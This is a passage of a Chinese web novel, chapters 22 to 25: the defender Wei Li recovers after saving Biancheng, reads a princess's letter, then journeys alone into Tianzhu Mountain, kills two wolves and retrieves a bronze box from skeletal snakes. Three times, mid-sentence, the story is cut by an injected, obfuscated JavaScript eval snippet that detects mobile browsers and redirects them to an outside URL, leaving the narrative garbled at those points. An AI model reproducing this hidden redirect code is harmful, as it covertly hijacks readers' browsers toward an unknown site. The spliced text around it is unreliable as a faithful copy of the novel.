他抬头看向马上戴着银面的魏离,银面不比红缨枪,溅满了鲜血,“多谢魏大人救卞城与危难之中。” 他们一开始是说好,不暴露魏离的身份,让汪水渟顶着这份功劳,但他觉得这对魏离来说太不公平了。 魏离身后跟着的将士们面面相觑,魏离叹了一口气,修长的手指附上银面将它取下来。魏离背阳站着,浅橙色的阳光挥洒在他身上,连白皙的面庞都像镀上一层金光。 他从马上下来,将那把断剑递给皱眉盯着他的顾荨,“这是永安王的剑,他临死前都试图用它来刺伤我,这上面应该还有汪将军中的毒。” “太冒险了。”顾荨摇摇头,还是接过了那把断剑。 这小白脸就是刚刚的将军?一众将士不可思议地望着跟着顾怀真等人离开的魏离。 “他是谁啊?”一名兵卒终于问出了大家的心声。因为魏离一直在病中很少离开房间,整个汪家军没人知道他的存在。 但少部分还活着的卞城守军倒是知道,“魏大人先前为了带兵驰援卞城不眠不休的赶路累病了,之前都被顾医女勒令在房间里养病。” “之前听将军跟顾先生谈话的时候好像听到过他的名字。”副将若有所思地看向那道身披铠甲的背影,“不管他是谁,他救了我们和卞城。” ? 22. 第 22 章 魏离好不容易将身上那套沾满血迹的盔甲脱掉,身上全是汗水,他杀永安王看似简单,实则用尽全力。本身这铠甲就不甚合身,而永安王的力气又那般大,他又病着没好全,还不能被那把毒剑碰伤。 真够费劲的。从他选择科考开始,有多久没这么酣畅淋漓地打过一架了?上次在华山北峰还是用不是很顺手的剑和树枝。 卞城的危机如今算是暂时告一段落了,估计文帝经过这一次也不会重视武将,而是会大肆征兵吧。 他接过顾荨递过来的药放到一边晾凉,“汪将军情况如何了?” “算是有一点好转吧,不是很明显,我不敢下猛药。”顾荨也没有强求他喝热的药,反正喝下去就行了。 天色黑的越来越快了,才回来没多久,外面的天就已经再次被夜色覆盖,不过今夜倒是有星星在,一点一点的萤火般的芒星在天幕边闪烁。 “卞城的百姓,可以迁回来了吗殿下?”顾荨看向一边发呆的李瀛,卞城之前由柳家管辖,现在柳家只剩下单传的小少爷和守新寡的夫人,夫人跟着百姓一起转移到基城,现今一切做主还是得看李瀛。 “再过些日子吧,金人未必会就此善罢甘休。”他们这么多年来第一次组织军队发起进攻,应当不会这么轻易善罢甘休。 “可以回来了。”魏离捏着鼻子将药汁一饮而尽,“不管他们是出于什么原因出兵,死伤如此惨重,还搭上永安王和皇子,如果周朝不议和,他们是没有条件再向卞城出兵的。” 何况鬼门关那条路还被落石封死了,他们要再来只能往更远的地方绕路,未必比攻打其他城池来的容易。 难道周朝议和,金人就会相信他们是真的想要议和而不是趁机打个措手不及吗? “先生说的也有道理。”李瀛忍不住回头看向他,此番如果不是他在,这卞城和他只能一损俱损。 魏离讲完话正抬头看天上的芒星,要是能天天这样,一到晚上就在院子里看星星就好了。浅浅洒下的月辉给院子里的所有事物都附上一层银光,连在树下啄土的乌鸦都显得鲜亮起来。 “有魏大人的信。”院子外面传来信使的声音,顾荨先魏离一步起身到门外接过信件,信封是上好的厚牛皮纸,散发着一股枯草的气息。 魏离从她手中接过信,见信封上稍带些簪花小楷痕迹的字迹,是清阳公主的信。 卞城的消息传不出去,有太子的一份功劳,清阳公主的信能送到,自然也有太子殿下的一份功劳。 他小心地撕开信封,露出里面带着兰花香气的信笺。 “先生在卞城还好吗,可会不适应当地的天气和饮食?不知道三哥哥的情况可还好?我今日才从太子哥哥那边听说卞城形势危急,有金国奸细混入大宁,截断了大部分的信件。我很担心你,也很担心三哥哥。父皇临时调了汪家的一部分兵力去支援,也不知道赶不赶得上……太子哥哥让我提醒一下先生,不要忘记他交代的事情。 …… 清阳在京城等先生平安归来。” 清阳公主犹豫了很久才写下这封信,这是太子哥哥逼她写的。很长一封信,但实际重要的只有那两句。 她一直都知道太子哥哥想害三哥哥,她必须选择一边,可两个都是她重要的亲人,教她如何抉择? 魏离三两下将信笺上的内容看了个大概,李焕借清阳公主的口催他对李瀛下手罢了。 他想过两天安生日子。 “是清阳送来的信吗?”李瀛也认出了信封上整齐的字迹,“她说什么了?”怎么也不给他写一封? “公主殿下说要不归照顾好殿下。”魏离将信笺叠好重新装入信封,“其他的就是一些未婚夫妻之间的体己话了。”如果不算太子口吻的那两段的话。 “她肯定很想念先生吧?”李瀛也不纠结信的内容,只是心情有些低落,他也知道太子对自己的杀心。 “或许吧。”魏离看着李瀛低落的样子,没忍住笑了一下,这是这十几天来他第一次笑,给顾荨都看呆了。 清阳公主是不是很想念他倒是有待考证,但她很想念李瀛倒是真的。 “如果我想杀殿下,有无数种方法。如果我不想杀殿下,也有无数种方法。” —————— 卞城又空荡荡地守了五天,汪水渟还是没有醒,顾怀真索性组织各位将士将之前柳家军操练的地方清扫了个遍,让他们把城郊营地的东西都收拾好搬进去。 李瀛让先前卞城守军和柳家军仅剩的几位伤势已经没什么大碍的士卒去往基城,将勉强在那暂住的卞城百姓带回来,虽然卞城乱糟糟、满是血迹,连城墙都是焦黑的,但这依然是他们的家。 好不容易得到消息的卞城百姓围着抱着孩子的柳家夫人欢呼,有几位老婶子甚至落下泪来。他们在基城这一段日子,就跟寄人篱下的孤儿一样,没有归属感,还被当地城主带人排挤。 柳家夫人本身也是将门出身,一腔暴脾气也只能为了百姓和孩子憋在心里。她也知道,卞城当时的样子没人想得到能守下来,这基城百姓对待他们的态度跟对待荒年流民一样也是情有可原的。 一座城的土地,哪能容纳这么多外来的、甚至追溯到祖上四代都没有亲缘关系的“流民”。基城愿意收留这些百姓也只是因为淮阳王的命令,等到淮阳王和卞城一起消失就能把他们赶走。 没想到这座破城居然守了那么多天,要死不活的,这基城城主也不能明着把人赶出去。 现今终于可以把他们送走了,他高兴得甚至亲自送这一大片乌泱泱的百姓出城。 只不过,这基城和卞城的关系是没办法像之前一样和睦了。 但基城城主也不是那么有所谓,他是支持太子的,柳家支持淮阳王,那卞城就是支持淮阳王的,走不到一起去。不过他还是挺想知道这卞城是怎么守下来的,他都给太子传信去说卞城必破,这下脸打的真响。 那汪水渟不是中毒昏迷吗,那魏离也是太子殿下的人,总不能真是淮阳王和顾怀真守下的城。这一个瘸子一个天真的要死的王爷,哪能干出这种事。八成是魏离跟苏家闹矛盾,殿下没保他,他怀恨在心。 得赶紧去传信给太子殿下,他看着那一群百姓跟着两三个士卒走了,确定都人都走了之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588177|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才回府写信。 一个小城城主能想明白的事情,太子怎么会想不明白?魏离在选择遵从文帝的旨意带病前往卞城的时候就知道,只要想守下卞城就不能让李瀛死,不让李瀛死,他就必定和太子党决裂。 他本就想跟李焕划清界限了,不然也不会让李焕在苏烟罗自荐枕席的时候欣然接受。接受了苏烟罗,表面上是太子党又多了一份户部尚书的助力,但刚新婚燕尔的刑部尚书家大小姐吃了这样的亏,冯家又怎么肯和苏家和平相处? 他本身设计投靠李焕就是为了在京城有一席之地,拿了解元之后,不至于天天在苏家的威胁之下,但李焕视百姓安危轻过自己与兄弟的争斗,真继位也只是当一位昏君罢了。 既然李焕视苏家重过他魏离,那就好好和苏家绑在一起吧,他可不是什么大度的人。 至于李瀛,他也不适合当皇帝,优柔寡断真善良,文帝喜欢他也是因为这个儿子跟自己不一样。 要真让魏离来评,他们父子三人都不适合当皇帝。 —————— 温暖的阳光下,李瀛正迎着强劲的秋风在后城楼上眺望远方,想在第一时间接到自己的小表弟。 魏离没有跟他一起,他正在汪水渟房间外面的院子里搭了把藤椅,躺在上面优哉游哉地数着天边的云,身边是假山流水潺潺和鸟鸣不断。 要是能一辈子这么悠闲什么都不用想多好啊……他少时的愿望就是一辈子在山间隐居,养两只鸟雀,种点喜欢吃的菜,没银钱了就下山当一段时间教书先生,多美好的愿望啊…… 顾荨、顾怀真正在他身后的房间里一起观察汪水渟的情况。 顾荨在先前药方的基础上重新改动,又有顾怀真亲自试药,确定新药方真的能解这毒后才用在他身上。 “按道理,他应该要醒了啊。”顾荨仔细为床上躺着一点反应都没有的人把脉,无论怎么探,他这个脉象都是正常的啊,最多就是因为躺了几天饿的有些虚弱,怎么不醒呢? “没事,顾医女先出去吧,我来照看他。”顾怀真将顾荨推出去,“你和魏先生一起晒会太阳。” “可是……”我还没检查完呢……顾荨试图重新进房间,顾怀真却将门迅速关上了,差点夹到她的手, 魏离一见顾怀真把她推出来就猜到汪水渟现在是什么情况了,他又从自己的大躺椅下面拆出一把小藤椅放在院子里的小藤花边上,“顾姑娘来坐吧。” 被关上门的房间里,顾怀真看着汪水渟忍不住开始抖动的眼皮,忍不住拿拐杖抽了他两下,“还不滚起来。” 没错,他装的,因为被永安王挑下马太丢人了,他被搀扶着起来的时候就感觉头晕,想着干脆装晕好了,等第二天起来就没人计较自己那么丢人了。谁能想得到那永安王为老不尊,居然下毒,他就真的昏倒了没起来。 刚刚他就是觉得,在顾医女面前醒过来被当成病人对待,有些不好意思。现在感觉到顾怀真用拐杖抽自己,就知道屋子里只剩下他们两个人了,他才睁开眼。 顾怀真看见他那副窝囊样,忍不住又给了他两拐杖。 ? 23. 第 23 章 魏离的病经顾荨把脉确定痊愈后,他开始收拾行囊准备往天柱山出发,李瀛短时间内是不可能离开卞城的,更不可能按照之前那份约定去替他寻找第三块石碑。 他得自己去,这两天他认真研读了乌角先生相关的书籍,除了一些神话传说一样的人物故事,根本没有任何跟天柱山有关的内容,而据他猜测那块石碑应该在天柱山深处的“仙人洞府”。 据传说,乌角先生左慈年轻时便隐居天柱山,潜心研习炼丹之术,他精通五经、星纬、道术及六甲,传说他能役使鬼神,坐致行厨。 传说不一定是真的,也不一定是假的。无论如何他都要做好入山遇到怪力乱神事情的准备。 而且这次他是一个人去,会在山中遇险也说不定,说不定就那么死了呢。他一边收拾东西一边想着,如果就这么死了也说不定是一件好事。 顾荨将调配好的驱虫驱蚊药囊送进来给他,“魏大人真的要一个人去天柱山?我听说天柱山上有仙人。” “不趁现在去,指不定哪天我就回京了,到时候出来还麻烦。”魏离当初跟李瀛做下约定就是因为他在京中不好出京。 “也许真的有仙人吧。”他笑着接过那几个用抹布认真打包好的药囊,“如果卞城又出什么问题,你让殿下用乌鸦给我传信,乌鸦应该能找得到我在哪。” “你不亲自去和殿下道别吗?” “不了。”魏离冲她摇摇头,免得他又因为愧疚希望我带着他的人手一起去,他总共就那两个人,还是留着保护他自己吧。 —————— 魏离是在清晨出的城,趁着城门刚开,大清早的守城的卫兵也没睡醒,谁都没有告别,冒着初冬的冷风骑着一匹马离开了卞城。 他还记得当时病的晕晕乎乎赶路的时候,好像是有经过天柱山的,他凭着记忆策马向前,按照计划中的速度,在天黑下来城门即将关闭之时险险到达亦城,在亦城找了家声名不错但不便宜的客栈入住,客栈条件很好,但是需要出示管家文书证明自己的身份。 他临时给自己写了一张推荐信盖上章出示给他们看,正三品侍郎的官印当然是非常有含金量的,这家客栈愿意给他打八折。 打完八折之后魏离还是付了不少钱。不过,舍得花钱可以省不少麻烦,他们客栈的房间可不是像一般客栈一样的小房间,而是一整套包含了小厨房、温泉浴池、雕花大床等等部分的大套房,连窗户上的雕花都撒了银粉,在灯光下闪烁得像摘了星星下来粘上去,难怪收的那么昂贵。 他看着侍从替他准备好端到屋子里的四菜一汤和四种不同款式的香薰,真觉得自己在卞城过得太苦了。 “本店接待的都是像您这样有头有脸的人物,所以安保工作是亦城中最严格的,请您放心。如有需要,可以摇动门边的银铃,我会立刻到来。”侍从出去后替他关上门。 魏离仔细观察着桌上的四菜一汤,糖醋排骨、玉白菜、地三鲜、还有南边传来的佛跳墙和桃花鳜鱼汤。桃花是用萝卜雕刻染色的他能理解,但这个季节亦城居然还有鳜鱼吗? 不过亦城最出名的就是温泉,既然可以有温泉,那借用温泉的地热培养不该出现在这个季节的鳜鱼也不是没有可能。 魏离其实喜欢酸甜口的,这道糖醋排骨特别对他胃口。金黄的排骨整齐地摆放在莹白的瓷盘中,晶莹剔透的的糖醋汁如同细丝般缠绕在排骨之上,让他想起清晨露珠挂在嫩叶上的模样。 看起来比东宫做的好。东宫那边做的宫宴,因为菜量很少,卖相也一般所以他从来都只吃糕点,不过也可能是他身份低微,卖相好的菜放不到他面前。 餐后甜点是一份冰糖血燕,入口鲜甜,应该放了虾仁,他还是第一次见到这种做法的血燕,好新鲜。 虽然房间内围了温泉,蒸腾的热气让人由内而外地感受到温暖,但他还是不想泡温泉,这温泉也不知道有多少人泡过,就算是达官贵人也跟普通老百姓是一样的,他不想碰这种被那么多人碰过的水,光是想想都浑身起鸡皮疙瘩。 他摇动那个雕着夕雾花的银铃让侍从给他送上热水梳洗。 —————— 果然在舒服的地方过夜人都能精神不少,魏离一早醒来依依不舍地离开温软的羽被,下次再体验这样的舒适不知道得是什么时候了。 接下来的日子里他不会再在城中租住客栈了,因为亦城往前就有跟他同一批科考的官员,还是避免被认出来吧,不然太子殿下在京中听说他在山野闲逛,还以为他在踩点谋划如何为李瀛夺他的太子之位呢。 不过他自小在山间长大,在山中找能够过夜的地方也不难,在村落中找几户人家借住一晚应该也是没问题的。 魏离想好计划之后,接过侍从手中的马辔,牵着马出城,出了亦城二三十里,地上的草都是枯黄的颜色。 冬天到了,京中的冬天很难见到草地枯黄,在这西北倒是可以,一整片枯得金黄的草像漫道的黄金,灿烂一片。 当初来援卞城的时候只花了不到半个月,而魏离行至天柱山足足花了一个月半。他确实是有些过于留恋路途上的山水美景了,这大好河山迷人眼,也难怪古往今来那么多名人文士热衷于游山采风,那么多名诗名篇出自江川湖海。 天柱山深藏于万山之中,如同名花吐蕊,一山矗立,万山拱拜。秦汉之时,天柱山也被称为“霍山”,之所以有“天柱”之名,是因为此山耸拔高峻,在万山之中一枝独秀,如同擎天之柱。 当然,它与华山一样,有许多侧峰,此次魏离要上的是天池峰,根据古籍描述,最后一块石碑应该在天池峰深裂的根部。 依他来看,天池峰深裂整体都是石块,这石碑也不太可能是重新找来埋上去的,更大概率是刻在根部山体上,而铜盒也并不一定是铜盒。 他看着远处山林间突兀出来的莹白色山体,在皖地不甚热烈的阳光下竟是洁白如玉一般。云雾缭绕其上,美玉缚纱,似美人半遮面,日辉遍布玉璧,白玉熠熠,逢神女降明辉。 真美啊,魏离收回黏在远处主峰上的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588178|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,看向眼前不远处被林荫遮蔽,只落下星点光斑的蜿蜒山路。光线极力穿透茂密的叶障落在地上,在阴暗林间显得格外显眼的光斑和林间的幽深莫测融合在一起,竟然有些吸引人。 他将马匹寄在不远处樵夫的木屋边上,给探出头来看他的稚童递上几两银子,揉了揉他的脑袋,踩着阳光走进了林子里。 脚下是松软的枯叶,“沙沙”的声响一直回荡在在整个空荡的林间,几只野鼠吃的油光水滑从他的脚边穿过。他一袭青衫,独自走在山间,倒真有几分实现了自己毕生所愿的感触,他所希望的,就是在这山之间、水之间、树之间,一人或舞剑弄枪或吟诗作画。 乌角先生是否也是因为独步在这山间,才乍然有了隐居此中研习道法的心境呢? 魏离没放多少心思在揣测前任心境上,背着干粮和水,打开手中的手绘地图,原版在当初玄山寺上的古籍中发现的,他手中这一版是他临摹下来的,原版的纸张太过脆弱,几乎就要迎风碎掉,他在夏季无风的密室中临摹了一个多月才勉强画了个大概。 穿过这片林子就是开始上山的路,他要先翻过飞来峰往衔珠峰去,再往天池峰,经过花峰才能到达主峰司命峰,再从另一边出天柱山。好在他只需要到达天池峰就可以折返回来牵马往卞城去。 好长好高啊,他叹了口气,也不知道这林子里蛇虫多不多。 刚在脑子里想着这山中虫蛇,他的眼前就出现了一条青翠小蛇正挡在林间小道和山道接壤的路上,像初生的竹枝挂在枯黄发灰的死竹当中,可爱极了。 一看就有毒吧,他一边看着它一边小心翼翼地往边上走,那蛇也歪头盯着他,片刻后让开,缩在路边吐着信子,嫣红的信子在一身翠绿上格外显眼。 魏离也没有深究它为什么让路,人怎么能猜出蛇的想法呢? 他快步向前,希望在天黑下来之前找到一处可以过夜的地方,林子外边有樵夫的小屋,那林子里也应该有他们暂时休憩过夜的地方,因为皖地最贵的药材是石斛,樵夫在山中也无田地,单靠采木根本没办法维持基本的温饱。 他们会为了生计往深山悬崖去采集那些昂贵的石斛的,尽管会被城里的商人压价,但也是一笔不菲的收入。 要往深处去采集石斛,一天根本不够来回的。 现在刚好快到秋石斛长成的时节,刚刚在屋子附近没见到新鲜的木头应该也是这个缘故。 他抬头往山上望去,山上正是传说中仙人途径此处落下来抑制山尖长势的大石。陡峭的山体上只能看见星点绿色的藤蔓。 他先前问过路过的药农家,他们说山峰的三面都是刀削般的峭壁,只有北面悬绳可上。他正处于南面,抬头就可以看见悬壁间,有石鳞斑斑,状似龙鳞,整座山的山腰似乎盘了一条黄甲巨龙。 山的那边应该有临时建成的房子,他选了左手边的山道,绕着飞来峰的山侧行走。 他的身后,那条翠绿的小蛇犹豫了一下贴在地上跟着他的步伐一起向前。 ? 24. 第 24 章 贴着山壁沿着隐隐约约的小道,魏离废了好大的功夫才绕到山的北面,天已经暗下来了,才一见到小屋的轮廓,就闻到一股浓重的血腥味带着腐臭味扑过来。 死了有五七天了吧,他站在原地盯着那两对原本趴在尸体上,因为他的动静而转看向他的绿眼睛。 好亮啊,这是魏离跟那两双眼睛对上时脑中浮现的第一个想法。他一错不错地盯着那趴在已经认不出原本样子的血肉躯体上两匹隐约看得出是灰色的狼,现在唯一庆幸的就是它们看起来不太饿。 跑是不一定跑得过了。他缓缓将手握上腰间临行前一晚顾怀真借给他的佩剑,是顾怀真自己的剑,剑柄上还挂着当年立功御赐的剑穗。 那两双眼睛似乎察觉到他的动作,从尸体上爬起来,开始缓缓逼近,这两匹狼趴着还看不出多长,站起来一看竟然有近一人的它们的步伐虽然缓慢,充满试探,但它们身上的每一寸肌肉都紧绷着,如同拉满的弓弦,即将直击猎物的要害。 魏离慢慢将剑抽出,剑上闪动的寒光似乎惊动了它们,它们的毛色在不甚明亮的天色下显得格外暗淡,再晚些,恐怕就要融入夜色了。 魏离停下手中的动作,那两匹绿眼睛的狼也停下一动不动,一人两狼就这么对望着。不过那两匹狼到底是畜生,稍微大些的狼最先按捺不住,猛地扑向静立着的魏离。但他早有准备,侧身一闪手中的剑划过野狼的皮毛血肉,在它的背上划了一道狭长的口子。 那狼吃痛哀嚎一声,另一只狼从地面上弹射起来扑向魏离,两只狼前后夹击,一时之间腥臭的腐肉味扑鼻而来。 好恶心。他觉得有些对不起顾怀真的剑。 到时候赔他一把。他将堪堪抵住第二匹狼嘴巴的剑在它嘴里翻了个身,锋利的剑刃将它嘴里的肉绞了个血肉模糊,牙齿也断了两颗。 但剑完好无损。这才是宝剑,李焕之前赏的那叫什么宝剑。 背后一股劲风扑来,魏离将身一翻甩开前头的那匹狼,一剑刺入背后那匹伤狼的喉间,温热的狼血喷洒在他的脸上,如玉的面庞半边染血,肩头被它的利爪扣了个准,半边肩膀都洇开湿润的触感。 烦死了。他甩开剑上抽动挣扎的狼,又补上两下,转身看向口中血肉模糊的另外一匹狼。应该不会有狼群吧,他紧紧盯着那双绿色的眼睛,没有等它先动,闪身上去一剑斩下他的前腿。那狼哀嚎一声,竟跪下来朝他磕头。 淋漓的鲜血落满了一地,不断起伏的狼尾几乎快舞出残影。 可惜了。魏离忍着肩头的剧痛,给了它个痛快。怎么可能放它走啊,趁他睡觉回来给他一口怎么办? 他掏出顾荨准备的金疮药忍着痛撒上,又从衣摆扯了一段布条紧紧缠住伤口,正准备继续向前,转头就看见一地血泊中扭动着一条青翠的小蛇。 路上那条?他只看了一眼没再多管,转身走向不知道是樵夫还是采药人搭建的小屋。路过那具爬着蛆虫散发恶臭的尸体时,取下了那尸体上仅存的一只完好的手上捆着的五彩绳。 这应该是具男人的尸体,他蹲下来看了看,皮肤黝黑满是老茧,被撕碎的衣物样式他在樵夫家的院子里看见过。五彩绳是当地习俗,用青、白、红、黑、黄五种颜色丝线编织成的绳子,系在手腕、脚腕或脖子上,分别代表金、木、水、火、土五行,以及东、西、南、北、中五方,寓意着五方神力加持,为了为了祈求平安、驱邪避害。 但他还是死了。魏离收好那条五彩绳,起身进入小屋。 屋里很简陋,只有地上铺着些干稻草,木头横梁都有些发潮,弥漫着一股发霉的气味,混上外头带进来的腐尸和血腥味,实在是难闻得很。 魏离用帕子擦了把脸,掏出些干粮来在发潮的干稻草上勉强度过一晚。当明亮的阳光照射进来唤醒沉睡的青年时,他发现从木屋门口蜿蜒进来的一条细小血迹,终点正在他的手边。 那条小青蛇正蜷成一团窝在他的手边。 一双绿豆大小的黑眼睛紧紧地盯着他。 “你有事吗?”魏离也盯着它,盯了一会自己笑出声来,也是昨天和狼打一场把热血冲到脑子里了,居然觉得一条小蛇会回应自己。 他起身走出小屋,再往下就是衔珠峰了。 衔珠峰倒是不似飞来峰这般陡峭难行要绕行,他正打算往北边继续行进,那条小蛇顺着衣摆爬到了腿上。他伸手扶了它一把,让它向上攀到剑柄上挂着,“你也往这个方向吗?” 他微微一笑,摸了一把它的脑袋,滑溜溜冰凉凉的触感在指尖倒是一种新奇的体验。他以往看见蛇,都是一锄头砍成两截的。 小青蛇抖了抖,蹭了蹭他的手指。 ———— 到衔珠峰没花多少时间,山下有个寨子,他拿银钱换了些干净的衣物和干粮,梳洗了一番才继续上路,再往前就是天池峰了。 听说天池峰上,仅架了两道石梁作桥,恍如天台石梁,古籍上称“渡仙桥”,山间深坼中无风之也有冷气上冲,有“非仙莫能过”的传闻。 魏离望着眼前狭长的山体裂缝,再次打开手绘的地图,仔细确定第三个点位确实在天池峰,向着阴冷狭窄的山缝走去。 那条小青蛇安静地盘在他的肩头,昂着头看着眼前幽深的小道。 因着是清晨的缘故吧,不断有水滴从山顶滴落,青翠的小嫩芽从山体两侧往内生长着,时不时扫过魏离的脸庞。 太窄了。魏离仔细观察摸索着每一寸山壁,试图找到碑文,摸了一手的湿润苔藓。前头的路也没有光亮传来,看起来还有很长一段路,只有些曦光从顶端洒下来,冰冷的水汽从地下弥漫上来,打湿了他的发丝和衣衫,走起来都沉重了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588179|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少。 走了长一段路,连怀中的干粮啃起来都是一股湿润的味道,魏离边走边啃着手中的干饼,突然原本安静的小蛇突然从肩头爬上手臂绕上他的食指不断地发出嘶鸣。 “你的目的地是这里吗?”魏离将手附上石壁,小蛇依旧缠绕着他的手指发出急切的嘶鸣。 他的身后突然传来一股凉意,回头望去,来时的道路上也是阴暗一片,什么都看不清。他摸了摸早些时候准备好的火把,都湿透了,根本点不着。 小蛇还在“嘶嘶”叫着,魏离放它下地它也不愿,只是缠得越来越紧了。他只好继续往前,但身后阴冷的气息越来越明显了。 如今是进也不是退也不是。他依旧安静地往前,手上的蛇不断叫着,整个狭小的山缝都是它的回声。 “安静点,吵得我头疼。”魏离揉揉太阳穴,突然一片坚硬的东西绕着他的腿往上爬着,他猛地甩腿,一片骨头落地的声音响亮地回荡在耳边,甚至盖过了小蛇的嘶鸣。 什么东西?他还没来得看清落地的是什么,身后传来一阵骨骼摩擦的声音,他回头一看,隐约能看见一片磷火出现在狭窄的山缝中。 而在一片磷火照耀下显现的,是一群只剩骨架的蛇。 魏离一时被惊住,握紧手中的小蛇继续往前。“是你亲戚吗?”他仔细分辨着风声中混杂的缓慢的骨骼摩擦声,嘎吱嘎吱的声响激起他一身鸡皮疙瘩。 小蛇不会说话,嘶鸣得更大声了。 魏离往前一看,难怪后面的声音缓慢,原来是前面的路不通。他停下脚步,看向不远处从山洞中探出来的半个蛇头。 骨感蛇头。 他紧盯着那空洞的骨架眼睛,这蛇太大了,山缝太小,它出不来,可他也过不去啊。后头的骨头蛇群爬行的声音越来越近,手中的小蛇突然停下嘶鸣,从他是手中弹出来落到地上,密密麻麻的绿色磷火出现在道路两旁,照亮了一地的尸骨,难怪这地阴凉凉的,原来他脚底下踩的都是尸骨碎片啊。 青绿色的小蛇在两旁磷火的照耀下依旧绿的要滴出水来,它挑了条骨头棱角少的路线往那个巨大得几乎两人高的蛇头爬去,时不时发出两声喃呢。 魏离感觉到身后的骨头蛇群停止了移动,令人牙酸的摩擦声消失了。他看着小蛇顺着落地的蛇头骨架爬上顶点,巨大的蛇头缓缓从地上抬起,缩回山洞。 他有一种直觉,匣子就在山洞里。 但愿这些蛇感念一下他带了小蛇一路吧。他朝冰冷的手心哈了两口气,继续往前走,越来越冷了。 山洞很大,他站在山洞前往里看,零星点的磷火映照出里面的景象,密密麻麻的骨头蛇盘在一起拱卫着刚刚伸出头来的大骨头架子蛇。而被大骨头架子包裹其中的若隐若现的铜匣子正是他要找的。 装着骸骨的匣子。 25. 第 25 章 魏离在洞口站了很久,身边不断有骨头蛇通过,它们回去重新盘在大骨头蛇身边。 一块骸骨石碑,值得他冒这个险吗? 魏离的眼前浮现幼年时母亲被人强行带走的场景,他记得母亲在前一天给他留下的最后一个睡前故事,是一位诗人闲居游览的故事。 在诗人闲居的第三年,有天春光明媚,他独自一人游览山间风景。他拄着手杖,顺着沿河岸的山坡向上漫行,翻过一座又一座青翠小山。山路蜿蜒曲折,他逐渐深入山间。但他尽头无路可走时,他拐了一个弯,无路可走的前方出现了一块山谷空地,绿柳成荫,红花艳丽,是一个美丽温暖的小山庄。 他深吸一口气,就当是为了母亲吧。 魏离一步步往幽幽磷火照耀的山洞中走去,是很大的一个山洞,无数细小的声音被放大。不断有骨蛇擦过他的腿边,不断有蛇骨碎裂在他的脚下。清脆的声响一点点地将巨大的蛇头吸引至他的身畔,冰冷的气息几乎要将他包裹成冷气蝶蛹。 “我来取你盘着的匣子,里面是我的遗骸。”魏离轻轻地开口,伸手抚上它的额心,“还给我。” 巨大的蛇骨蹭了蹭他的面颊,粗糙的骨面将他的皮肤擦伤,有细小的血珠顺着伤口渗出来。 快被冻僵了。他伸手碰了碰盘在巨大蛇骨上的小青蛇,依旧是凉丝丝的。 “咚”的一声,铜匣落地,整个空荡山洞里只剩下这一声回响,眼前的山洞里,四处亮起的磷火消失的一干二净,只剩下头顶上一个窟窿照下来落在丹炉上的天光让他勉强能看清洞里的情景。 所有的蛇骨都消失了,连一丝骨灰都没留下。魏离捡起地上的铜匣子,看向天光照耀下的丹炉,丹炉周围是翡翠白玉雕成的杯盏,几缕青烟慢悠悠地向上蜿蜒。 他没有再往前查看那丹炉和杯盏,抱着匣子就往后退,山洞外的景象也和他来时完全不同。 开阔的山道上开满了鲜亮的缤纷野花,几支白色经幡斜倚在唯一一棵柳树上,飘扬的柳条光秃秃的,像是死了很久。往前望可以看见前头山体如玉璧般的天柱山众峰被云雾缭绕。 中午了。魏离看着地上缩成一团被踩在脚下的影子,往来时的方向回去了。 道路开阔,风景秀美,走得也快了许多。所幸只是道路变得宽阔优美,起点倒是没变,如果发生改变,他还得再花一段时间找路。 他一步步踩着青色如同初春来临的浅草往外走,连着整片山体都爬满了野花,他抱着匣子重新回到衔珠峰下的寨子换了些水粮,休息了几日继续往回走,也不知道他的马儿这几天吃的怎么样。 当魏离重新回到那栋栓了马的木屋边上,正在屋里读书的小男孩带着妹妹高兴的迎上来,发现是他时有些惊鄂带着点失望,也许是搞不明为什么父亲还没归家吧。 “这是你家的东西吗?”魏离从怀中掏出那条沾了些血迹的五彩绳递给小男孩,看着他的表情从高兴变得有些难过。 “是我母亲病逝前给父亲编的。”周聚明白这位客人带着这条沾血的五彩绳来是什么意思,他赶妹妹回屋做饭后才继续和魏离交谈,“我父亲……是遇难了吗?” 魏离点点头,不知道该怎么给他解释樵夫尸体的惨状,所幸不说了。 “遗体……在林中吗?”周聚又问。 魏离不知道该怎么和他讲述,盯着他的眼睛,没有出声。 “我知道了……”周聚垂下眼帘,不愿让外人看见泪水。 “我替他报仇了。”魏离趁着他调整心情的时间,给自己的马又添了几把草料,“你们愿意和我离开吗?”两个半大小孩,这么待在山中独自生活也不是办法。 “好。” 魏离本以为他要犹豫几天才能决定,没想到他一下就答应了。 “你也不问问我去哪?做些什么?”魏离回头看向他,“不怕我把你和妹妹卖掉换钱吗?” “你不像缺钱的样子。”愿意从一具粗糙劳作、可能已经腐烂发臭的樵夫尸体身上取 